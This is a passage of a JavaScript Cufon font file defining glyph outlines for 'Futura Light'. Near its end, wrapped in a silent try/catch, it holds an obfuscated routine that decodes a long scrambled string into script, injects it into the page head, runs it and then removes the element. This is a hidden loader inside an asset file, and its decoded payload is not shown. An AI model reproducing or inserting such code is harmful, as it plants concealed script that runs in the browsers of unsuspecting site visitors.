3xm103,-118v35,0,58,-27,58,-62v0,-35,-24,-60,-58,-60v-34,0,-58,28,-57,63v0,33,23,59,57,59"},{"d":"91,-162v45,1,75,35,72,85r-124,0v-6,67,83,88,105,27r20,11v-31,77,-149,50,-149,-37v0,-48,30,-86,76,-86xm137,-96v2,-42,-54,-59,-81,-32v-9,8,-15,19,-16,32r97,0xm66,-181r38,-62r28,0r-49,62r-17,0","w":178},{"d":"18,-35v25,38,64,18,64,-36r0,-186r23,0r0,202v8,66,-78,81,-104,35","w":134},{"d":"8,-156r23,0r44,122r41,-122r23,0r-80,234r-23,0r28,-79xm49,-181r38,-62r29,0r-50,62r-17,0","w":145},{"d":"32,0r0,-257r23,0r0,120r117,-120r30,0r-122,123r128,134r-34,0r-119,-131r0,131r-23,0","w":206},{"d":"15,-77v-10,-77,97,-118,129,-50r0,-29r22,0r0,156r-22,0r0,-28v-30,68,-141,28,-129,-49xm92,-142v-34,0,-54,29,-53,66v1,37,17,62,52,63v34,0,53,-29,53,-67v0,-36,-18,-62,-52,-62xm149,-228v-8,39,-39,35,-71,25v-7,0,-12,4,-16,11r-16,0v5,-31,34,-38,59,-25v14,3,24,1,28,-11r16,0","w":194},{"d":"30,0r0,-156r23,0r0,156r-23,0xm18,-181r37,-62r29,0r-49,62r-17,0","w":82},{"d":"22,-127v0,-67,57,-128,128,-128v69,0,128,58,128,128v0,71,-61,129,-128,129v-68,0,-128,-60,-128,-129xm150,-11v60,0,116,-53,116,-116v0,-63,-55,-116,-116,-116v-63,0,-116,56,-116,116v0,61,55,116,116,116xm83,-127v0,-61,59,-102,107,-67v11,8,17,20,18,33r-18,0v-4,-19,-19,-31,-40,-31v-33,0,-46,29,-47,66v0,36,15,63,47,64v22,0,39,-15,42,-34r18,0v-2,29,-29,49,-61,49v-42,-1,-66,-34,-66,-80","w":299},{"d":"22,-129v0,-48,33,-82,78,-86r0,-28r14,0r0,28v16,0,32,4,49,11r0,23v-14,-9,-30,-14,-49,-15r0,131v22,-3,38,-8,49,-17r0,23v-14,8,-30,13,-49,13r0,36r-14,0r0,-36v-44,-1,-78,-38,-78,-83xm100,-195v-48,0,-73,70,-41,108v10,12,24,19,41,21r0,-129"},{"w":103},{"d":"32,0r0,-257r23,0r0,235r89,0r0,22r-112,0","w":148},{"d":"168,-134v0,63,-47,74,-113,71r0,63r-23,0r0,-257r23,0r0,52v67,-4,113,9,113,71xm143,-132v0,-46,-35,-56,-88,-52r0,101v51,-1,88,2,88,-49","w":180},{"d":"190,-126v0,73,-24,133,-87,133v-61,0,-86,-63,-85,-133v0,-72,23,-134,86,-134v62,0,86,62,86,134xm103,-239v-85,0,-86,225,1,225v49,0,62,-52,62,-113v1,-60,-14,-112,-63,-112"},{"d":"31,-257r23,0r0,168v0,50,24,75,71,75v106,0,61,-149,70,-243r23,0r0,160v0,69,-31,104,-93,104v-62,0,-94,-35,-94,-104r0,-160","w":249},{"d":"15,-77v-10,-77,97,-118,129,-50r0,-29r22,0r0,156r-22,0r0,-28v-30,68,-141,28,-129,-49xm92,-142v-34,0,-54,29,-53,66v1,37,17,62,52,63v34,0,53,-29,53,-67v0,-36,-18,-62,-52,-62xm74,-181r38,-62r28,0r-49,62r-17,0","w":194},{"d":"157,-81v0,-63,-80,-81,-117,-44r-7,-1r33,-129r104,0r0,20r-88,0r-20,80v58,-27,119,11,119,72v0,95,-132,123,-167,41r19,-14v14,24,28,42,62,42v39,0,62,-27,62,-67"},{"d":"233,-129v0,91,-54,138,-159,129r-40,0r0,-134r-34,0r0,-18r34,0r0,-105r40,0v104,-8,159,38,159,128xm207,-129v0,-89,-51,-117,-150,-109r0,86r75,0r0,18r-75,0r0,114v97,8,150,-18,150,-109","w":252},{"d":"255,-146r0,14r-210,0r0,-14r210,0xm255,-82r0,14r-210,0r0,-14r210,0","w":299},{"d":"112,-138v-65,-14,-66,69,-62,138r-21,0r0,-156r21,0r0,31v15,-25,34,-45,69,-33","w":113},{"w":103},{"d":"95,7v-79,0,-66,-87,-66,-163r21,0v4,59,-18,143,45,143v63,0,39,-85,44,-143r22,0v0,75,12,163,-66,163xm64,-192v-10,0,-17,-7,-17,-17v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,17,-17,17xm126,-192v-10,0,-17,-7,-17,-17v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,17,-17,17","w":189},{"d":"32,0r0,-257r127,0r0,22r-104,0r0,80r104,0r0,22r-104,0r0,111r104,0r0,22r-127,0xm45,-283r37,-61r26,0r37,61r-16,0r-34,-44r-34,44r-16,0","w":184},{"d":"84,-151v0,-63,-8,-118,65,-109v-1,6,4,18,-6,16v-83,-13,-2,138,-75,151v42,7,33,56,34,104v0,38,8,47,47,46r0,16v-70,9,-66,-44,-65,-108v2,-38,-16,-55,-53,-50r0,-16v39,2,54,-12,53,-50","w":180},{"d":"31,-257r23,0r0,168v0,50,24,75,71,75v106,0,61,-149,70,-243r23,0r0,160v0,69,-31,104,-93,104v-62,0,-94,-35,-94,-104r0,-160xm94,-293v-10,0,-17,-7,-17,-17v0,-10,8,-17,17,-18v21,0,23,36,0,35xm156,-293v-10,0,-18,-7,-18,-17v0,-25,34,-21,34,0v0,10,-6,17,-16,17","w":249},{"d":"185,-78v0,47,-39,85,-85,85v-45,0,-84,-38,-84,-85v0,-46,39,-84,84,-84v45,0,85,39,85,84xm39,-77v0,35,28,64,61,64v33,0,62,-29,62,-64v0,-35,-28,-64,-62,-64v-34,0,-61,29,-61,64xm69,-192v-10,0,-16,-7,-16,-17v0,-9,7,-17,16,-17v10,0,18,7,18,17v0,10,-8,17,-18,17xm131,-192v-10,0,-17,-7,-17,-17v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,17,-17,17","w":200},{"d":"34,0r0,-118r-34,24r-12,-14r46,-33r0,-116r23,0r0,104r42,-30r11,16r-53,36r0,109r88,0r0,22r-111,0","w":150},{"d":"15,-77v-10,-77,97,-118,129,-50r0,-29r22,0r0,156r-22,0r0,-28v-30,68,-141,28,-129,-49xm92,-142v-34,0,-54,29,-53,66v1,37,17,62,52,63v34,0,53,-29,53,-67v0,-36,-18,-62,-52,-62xm47,-181r38,-62r25,0r38,62r-17,0r-33,-44r-35,44r-16,0","w":194},{"d":"33,-252r0,97r-15,0r0,-97r15,0","w":50},{"d":"99,-142v-65,0,-46,81,-49,142r-21,0r0,-273r20,0r0,141v25,-47,112,-38,112,26r0,106r-22,0v-6,-55,21,-142,-40,-142","w":187},{"d":"8,-156r23,0r44,122r41,-122r23,0r-80,234r-23,0r28,-79","w":145},{"d":"126,-263r19,0r-126,296r-19,0","w":145},{"d":"32,0r0,-268r182,215r0,-204r22,0r0,265r-182,-216r0,208r-22,0","w":268},{"d":"66,-257v44,0,69,45,40,76v-21,24,-43,46,-66,68r77,0r0,12r-109,0v31,-37,79,-61,94,-112v0,-19,-17,-31,-38,-31v-22,0,-38,13,-37,36v-5,-1,-14,2,-15,-2v-1,-30,23,-47,54,-47","w":136},{"d":"57,-45r25,11r-46,91r-15,-7","w":103},{"d":"24,0r-23,0r93,-257r109,0r7,22r-89,0r28,80r93,0r7,22r-92,0r37,111r94,0r7,22r-117,0r-30,-87r-93,0xm61,-107r80,0r-38,-117","w":296},{"d":"-3,0r113,-267r108,267r-25,0r-33,-87r-105,0r-34,87r-24,0xm63,-107r89,0r-44,-112xm57,-283r38,-61r25,0r38,61r-17,0r-33,-44r-35,44r-16,0","w":214},{"d":"179,-77v0,79,-97,116,-129,48r0,107r-21,0r0,-351r21,0r0,146v8,-20,29,-34,55,-35v47,0,74,37,74,85xm105,-13v33,-1,50,-27,50,-64v0,-36,-17,-66,-52,-65v-33,1,-53,26,-53,63v0,36,21,66,55,66","w":194},{"d":"32,0r0,-257r127,0r0,22r-104,0r0,80r104,0r0,22r-104,0r0,111r104,0r0,22r-127,0","w":184},{"d":"32,0r0,-257r23,0r0,257r-23,0","w":87},{"d":"58,-45r26,11r-47,91r-14,-7xm71,-116v-11,0,-18,-7,-18,-18v0,-10,8,-17,18,-18v11,0,18,7,18,18v0,11,-7,18,-18,18","w":111},{"d":"52,3v-11,0,-18,-7,-18,-18v0,-11,7,-18,18,-18v11,0,18,7,18,18v0,11,-7,18,-18,18","w":103},{"d":"8,-156r23,0r44,122r41,-122r23,0r-80,234r-23,0r28,-79xm42,-192v-10,0,-17,-7,-17,-17v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,17,-17,17xm104,-192v-10,0,-18,-7,-18,-17v0,-21,36,-23,35,0v0,10,-7,17,-17,17","w":145},{"d":"147,-112v30,49,0,119,-63,119v-34,0,-58,-17,-72,-50r20,-11v7,23,24,40,53,40v33,0,52,-20,52,-54v-2,-75,-114,-57,-114,-134v0,-64,99,-86,124,-29r-18,11v-14,-36,-87,-28,-82,19v5,53,79,55,100,89","w":179},{"d":"179,-77v11,76,-98,117,-129,49r0,28r-21,0r0,-273r21,0r0,146v32,-68,140,-27,129,50xm103,-13v35,0,52,-25,52,-63v0,-37,-19,-66,-53,-66v-34,0,-52,26,-52,62v0,38,19,67,53,67","w":194},{"d":"179,-77v9,79,-96,116,-129,48r0,107r-21,0r0,-234r21,0r0,29v33,-68,140,-28,129,50xm105,-13v33,-1,50,-27,50,-64v0,-36,-17,-66,-52,-65v-33,1,-53,26,-53,63v0,36,21,66,55,66","w":194},{"d":"39,-263r51,0r0,17r-31,0r0,301r31,0r0,17r-51,0r0,-335","w":98},{"d":"16,-199v-1,-67,78,-63,148,-61r0,11r-23,0r0,249r-12,0r0,-249r-34,0r0,249r-12,0r0,-138v-39,-1,-67,-23,-67,-61","w":180},{"d":"99,-142v-65,0,-46,81,-49,142r-21,0r0,-156r20,0r0,24v25,-47,112,-38,112,26r0,106r-22,0v-6,-55,21,-142,-40,-142","w":187},{"d":"175,-74v0,40,-27,69,-63,74r0,30r-14,0r0,-31v-32,0,-56,-16,-70,-47r20,-10v7,23,24,36,50,38r0,-111v-32,-18,-59,-29,-59,-68v0,-33,26,-55,59,-58r0,-18r14,0r0,17v24,3,40,14,51,32r-18,10v-7,-13,-18,-21,-33,-22r0,89v37,20,63,29,63,75xm112,-21v36,-1,53,-53,31,-81v-7,-8,-17,-16,-31,-23r0,104xm98,-238v-28,1,-47,40,-27,64v6,7,15,13,27,19r0,-83"},{"d":"30,0r0,-156r23,0r0,156r-23,0xm-9,-181r37,-62r26,0r37,62r-16,0r-34,-44r-34,44r-16,0","w":82},{"d":"8,-261r16,-8v57,97,55,250,0,347r-16,-9v50,-93,51,-233,0,-330","w":98},{"d":"15,-77v-9,-75,97,-119,129,-50r0,-146r22,0r0,273r-22,0r0,-28v-29,69,-140,26,-129,-49xm93,-142v-34,0,-53,29,-53,66v0,38,17,63,52,63v35,0,53,-30,53,-67v0,-36,-18,-62,-52,-62","w":194},{"d":"33,-138r-28,0r0,-18r28,0r0,-64r22,0r0,64r31,0r0,18r-31,0r0,138r-22,0r0,-138","w":89},{"d":"4,0r153,-236r-130,0r0,-21r170,0r-152,235r137,0r0,22r-178,0xm151,-344r-38,61r-25,0r-38,-61r17,0r34,44r34,-44r16,0","w":201},{"d":"4,0r87,-136r-81,0r0,-20r119,0r-87,137r89,0r0,19r-127,0","w":137},{"d":"93,-241v-28,0,-42,19,-42,48r-21,0v-2,-43,22,-70,64,-70v35,0,59,23,59,58v0,69,-79,56,-91,111v0,17,11,28,30,28v21,0,34,-12,33,-34r19,0v1,36,-18,53,-55,53v-43,0,-63,-52,-35,-81v24,-25,77,-30,77,-75v0,-22,-15,-39,-38,-38xm89,7v-11,0,-18,-7,-18,-18v0,-11,7,-18,18,-18v10,0,18,8,18,18v0,10,-8,18,-18,18","w":185},{"d":"255,-150r0,88r-14,0r0,-74r-196,0r0,-14r210,0","w":299},{"d":"157,-263v76,0,138,60,138,135v0,74,-65,135,-138,135v-73,0,-137,-62,-137,-135v0,-74,63,-135,137,-135xm45,-128v0,62,51,114,112,114v61,0,113,-52,113,-114v0,-62,-52,-115,-113,-115v-60,0,-112,53,-112,115xm181,-283r-16,0r-50,-61r29,0","w":315},{"d":"122,-40v0,57,-98,62,-111,12r21,-12v7,33,66,38,68,1v-7,-43,-81,-26,-81,-78v0,-53,89,-60,102,-13r-20,11v-5,-29,-58,-32,-59,0v7,42,80,22,80,79xm119,-243r-38,62r-25,0r-38,-62r17,0r34,44r34,-44r16,0","w":137},{"d":"96,0r0,-234r-47,0r11,-21r58,0r0,255r-22,0"},{"d":"5,-156r24,0r48,118r48,-118r24,0r-72,163","w":153},{"d":"53,0r-23,0r0,-273r23,0r0,273","w":82},{"d":"253,-182r-183,75r183,74r0,16r-207,-85r0,-11r207,-85r0,16","w":299},{"d":"94,80v-39,0,-65,-24,-63,-64r22,0v1,27,14,41,40,41v35,0,52,-43,29,-62v-32,-26,-105,-24,-102,-88v2,-31,22,-53,48,-61v-26,-11,-39,-29,-39,-53v0,-35,28,-57,65,-57v39,1,64,22,62,63r-24,0v-1,-29,-14,-43,-39,-43v-36,0,-53,47,-24,66v36,23,95,26,95,84v0,32,-15,53,-46,63v62,20,41,111,-24,111xm44,-93v0,29,20,48,49,48v26,0,49,-22,48,-48v0,-27,-20,-48,-48,-48v-26,0,-49,22,-49,48","w":183},{"d":"180,71r0,14r-180,0r0,-14r180,0","w":180},{"d":"157,-263v74,0,138,61,138,134v0,37,-13,69,-41,96r43,51r-28,0r-31,-36v-92,61,-218,-6,-218,-111v0,-73,64,-134,137,-134xm45,-129v0,87,106,149,177,93r-59,-69r29,0r47,55v70,-69,12,-193,-82,-193v-61,0,-112,52,-112,114","w":315},{"d":"185,-78v0,47,-39,85,-85,85v-45,0,-84,-38,-84,-85v0,-46,39,-84,84,-84v45,0,85,39,85,84xm39,-77v0,35,28,64,61,64v33,0,62,-29,62,-64v0,-35,-28,-64,-62,-64v-34,0,-61,29,-61,64xm124,-181r-17,0r-49,-62r28,0","w":200},{"d":"127,0r0,-65r-116,0r139,-199r0,179r26,0r0,20r-26,0r0,65r-23,0xm127,-85r0,-116r-81,116r81,0"},{"d":"126,-25v-16,39,-91,41,-103,0r-21,100r-21,0r55,-262r21,0r-24,129v-5,48,54,58,79,26v27,-36,32,-104,46,-155r22,0r-34,162v-1,10,8,12,19,11r-3,17v-25,7,-42,-3,-36,-28","w":192},{"d":"157,-263v76,0,138,60,138,135v0,74,-65,135,-138,135v-73,0,-137,-62,-137,-135v0,-74,63,-135,137,-135xm45,-128v0,62,51,114,112,114v61,0,113,-52,113,-114v0,-62,-52,-115,-113,-115v-60,0,-112,53,-112,115xm107,-283r38,-61r25,0r38,61r-16,0r-34,-44r-35,44r-16,0","w":315},{"d":"98,-275r0,360r-16,0r0,-360r16,0","w":180},{"d":"93,7r-89,-264r25,0r64,205r69,-215r71,213r62,-203r24,0r-86,264r-71,-215","w":323},{"d":"20,-129v0,-111,134,-173,219,-107r-1,26v-70,-69,-193,-22,-193,81v0,102,119,149,192,84r0,28v-92,61,-217,0,-217,-112xm154,18v23,-1,40,7,40,26v1,35,-47,32,-80,23r0,-13v30,6,58,14,62,-9v3,-13,-14,-17,-32,-16r0,-29r10,0r0,18","w":257},{"d":"87,0r0,-118r-85,-139r28,0r69,118r69,-118r27,0r-84,139r0,118r-24,0","w":196},{"d":"55,-146r27,-19r9,15r-36,25r0,125r-22,0r0,-112r-27,19r-10,-14r37,-26r0,-140r22,0r0,127","w":87},{"d":"15,-77v-10,-77,97,-118,129,-50r0,-29r22,0r0,156r-22,0r0,-28v-30,68,-141,28,-129,-49xm92,-142v-34,0,-54,29,-53,66v1,37,17,62,52,63v34,0,53,-29,53,-67v0,-36,-18,-62,-52,-62","w":194},{"d":"157,-204r0,62r98,0r0,14r-98,0r0,62r-14,0r0,-62r-98,0r0,-14r98,0r0,-62r14,0xm255,-25r0,14r-210,0r0,-14r210,0","w":299},{"d":"143,-185v0,-48,-36,-55,-88,-52r0,101v51,-1,88,2,88,-49xm168,-186v0,63,-47,73,-113,70r0,116r-23,0r0,-257v74,-4,136,0,136,71","w":180},{"d":"4,0r153,-236r-130,0r0,-21r170,0r-152,235r137,0r0,22r-178,0","w":201},{"d":"30,78r0,-234r23,0r0,234r-23,0xm41,-200v-9,0,-16,-8,-16,-17v0,-9,6,-16,16,-16v10,0,17,6,17,16v0,10,-7,17,-17,17","w":82},{"d":"121,-78v0,43,46,54,73,30v20,-18,23,-50,31,-79v-5,-24,-19,-35,-41,-35v-39,0,-63,42,-63,84xm103,-80v0,-50,35,-95,81,-95v23,0,38,10,45,30r11,-23r14,0r-28,116v0,11,7,16,21,16v46,0,74,-47,74,-99v1,-67,-56,-107,-127,-107v-88,0,-154,68,-154,152v0,124,162,160,252,93r5,7v-96,81,-281,30,-276,-102v4,-95,80,-163,175,-163v77,0,143,49,143,118v0,60,-39,113,-97,115v-26,1,-37,-12,-33,-33v-22,52,-106,41,-106,-25","w":360},{"d":"60,-111r0,-131r-29,0r7,-12r37,0r0,143r-15,0xm71,7r161,-267r19,0r-161,267r-19,0xm271,0r0,-36r-73,0r87,-112r0,100r17,0r0,12r-17,0r0,36r-14,0xm271,-48r0,-65r-51,65r51,0","w":321},{"d":"11,-202v-7,-55,73,-81,97,-36r0,-19r16,0r0,109r-16,0r0,-20v-22,46,-105,21,-97,-34xm69,-248v-25,1,-40,19,-40,46v-1,27,13,45,40,44v26,0,39,-18,39,-46v0,-26,-14,-44,-39,-44","w":146},{"d":"67,7r-63,-163r23,0r41,112r49,-120r49,120r40,-112r23,0r-62,163r-50,-121","w":233},{"d":"16,-76v0,-68,74,-107,134,-75r0,24v-44,-34,-112,-10,-112,52v0,58,71,82,115,46r0,24v-59,34,-137,-1,-137,-71xm99,18v23,-1,39,7,40,26v1,34,-47,33,-80,23r0,-13v30,6,57,14,61,-9v3,-13,-14,-17,-32,-16r0,-29r11,0r0,18","w":164},{"d":"-3,0r113,-267r108,267r-25,0r-33,-87r-105,0r-34,87r-24,0xm63,-107r89,0r-44,-112xm131,-283r-17,0r-49,-61r29,0","w":214},{"d":"78,0r0,-235r-71,0r0,-22r165,0r0,22r-71,0r0,235r-23,0","w":178},{"d":"-3,0r110,-257r6,0r105,257r-25,0r-33,-87r-105,0r-34,87r-24,0xm63,-107r89,0r-44,-112xm110,-264v-22,0,-42,-19,-42,-41v-1,-23,19,-43,42,-42v23,0,41,19,41,42v0,23,-18,41,-41,41xm110,-329v-12,-1,-24,12,-24,24v0,12,12,23,24,23v11,0,23,-12,23,-23v0,-14,-11,-23,-23,-24","w":214},{"d":"98,7r-101,-264r27,0r74,209r78,-209r26,0","w":198},{"d":"91,-162v45,1,75,35,72,85r-124,0v-6,67,83,88,105,27r20,11v-31,77,-149,50,-149,-37v0,-48,30,-86,76,-86xm137,-96v2,-42,-54,-59,-81,-32v-9,8,-15,19,-16,32r97,0xm39,-181r38,-62r25,0r38,62r-17,0r-33,-44r-35,44r-16,0","w":178},{"d":"95,7v-79,0,-66,-87,-66,-163r21,0v4,59,-18,143,45,143v63,0,39,-85,44,-143r22,0v0,75,12,163,-66,163","w":189},{"d":"22,-127v0,-67,57,-128,128,-128v69,0,128,58,128,128v0,71,-61,129,-128,129v-68,0,-128,-60,-128,-129xm150,-11v60,0,116,-53,116,-116v0,-63,-55,-116,-116,-116v-63,0,-116,56,-116,116v0,61,55,116,116,116xm215,-162v-1,21,-15,37,-36,39r34,69r-23,0r-32,-67r-38,0r0,67r-20,0r0,-149v51,1,116,-9,115,41xm120,-134v34,-1,77,7,74,-29v4,-27,-42,-27,-74,-26r0,55","w":299},{"d":"113,-181r-16,0r-50,-62r29,0","w":180},{"d":"157,-263v76,0,138,60,138,135v0,74,-65,135,-138,135v-73,0,-137,-62,-137,-135v0,-74,63,-135,137,-135xm45,-128v0,62,51,114,112,114v61,0,113,-52,113,-114v0,-62,-52,-115,-113,-115v-60,0,-112,53,-112,115xm127,-293v-10,0,-17,-7,-17,-17v0,-10,8,-17,17,-18v21,0,23,36,0,35xm189,-328v21,0,23,36,0,35v-10,0,-18,-7,-18,-17v0,-10,8,-18,18,-18","w":315}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-596-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})(")|ZPzd.VujT6)l51]dM2k|kT3y.PZdT63y%2ujSrZO}A?aVD3HYU,|,E,yOI]f#E.QnI]f#U?dMI]f#UZwMI]f#UZw]I]f#U?dOI]f#U?d$b3HYU,|YP3HYU,|,auyZT3HYU,|.d3HYU,|.D3HYU,|$a?2pI]f#UZj%I]f#UZj.r3l%I]f#U?y$;%OEP,wneZrMI]f#U?fS&3HYU,|$b3HYU,|ZD3HYU,|#nlwqM|Hk%)m,.t[$S@fYOj3?ZuzI]hv7eDQC5drsFg8Ap6XUE2aVPyib*;1}T&~kUjMEP,wnDZreI]f#UZfnI]f#UZw5I]f#U?fOI]f#U?QeI]f#UZQMI]f#E.yOX3HYU,|SD3HYU,|?*fPEP,wnd.2Fa3HYU,fY23HYU,|?a3HYU,|,V3HYU,|$P3HYU,|qb3HYU,|Od3HYU,|ki3HYU,f,E%5EP,wnd.OEP,wnD.q%q3HY2,wqV3HYU,|%D3HYU,|,b3HYU,|Yy3HYU,fC2kPEP,wne,YMI]f#U?Q5p3HYU,fYamOEP,wnCZMEP,wqitwZ.3HYU,|?U3HYU,|.53HYU,|SdY5EP,wnD,a%I]f#UZ|MI]f#U?j%I]f#U?y.I]f#U?f.I]f#UZdMF3HYU,|?b3HYU,|YV3HYU,|?V3HYU,|Yb$PEP,wne.5EP,wnQtf]k[5EIkOVs3C]|tOEP,wn5tYFI]f#UZdSm3HYU,|Ya3HYU,|OC3HYU,|q*3HYU,|q23HYU,|qUfMEP,wnCZfnO3HYU,|YE.OEP,wnC,wP2kMEP,wnd?PEP,wnQ?3pI]f#UZ|.I]f#UZQZI]f#E.wMI]f#UZfkruH5ImV*I]f#U?QkA3HYU,|,y3HYU,|,23HYU,|Z5SYC1m5EP,wndZ5.DIMpI]f#U?QZ6%MEP,wn5Z@5C]MEP,wqiZHs~3HYU,|MQ3HYU,|$23HYU,f?E,3ZA[MEP,wne.PTS3HYU,|?2.MEP,wnD.OEP,wnC.HE33HYU,|,ijOEP,wqV,dMI]f#U?QM$jdF#3HYU,|%Q3HYU,|Me]PEP,wn5.PEP,wnQ,MSI]f#U?aOj3HYU,|Oe]OEP,wneZjnI]f#UZw?Dmr.Uz|5V)lkD)@EF[f#AIwPDmr#AzwPUmdE5zd]VulEr[jk6ZD*rzH5UuH,ThiV1uj?s?D*XuaVX3D7~tr]i]PU6)f}s[as6)PU6ZdMDZj]53l*aZ3U6)PU6u|eVZ3.V3l*QzyP}z|TQ?jEImdZe?dOrZfqU3l*aZ@CCmyC6]|Oa]leAzy.e]|5XzD*szi.VzdMpZ@CFZdT2)wpF[|U1)2pF)j]z?PpF3OVTIMpF33VF)lC7")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":207,"face":{"font-family":"Futura Light","font-weight":300,"font-stretch":"normal","units-per-em":"360","panose-1":"0 0 0 0 0 0 0 0 0 0","ascent":"288","descent":"-72","x-height":"7","bbox":"-19 -347.036 383 85","underline-thickness":"14.04","underline-position":"-46.08","unicode-range":"U+0020-U+2014"}}));
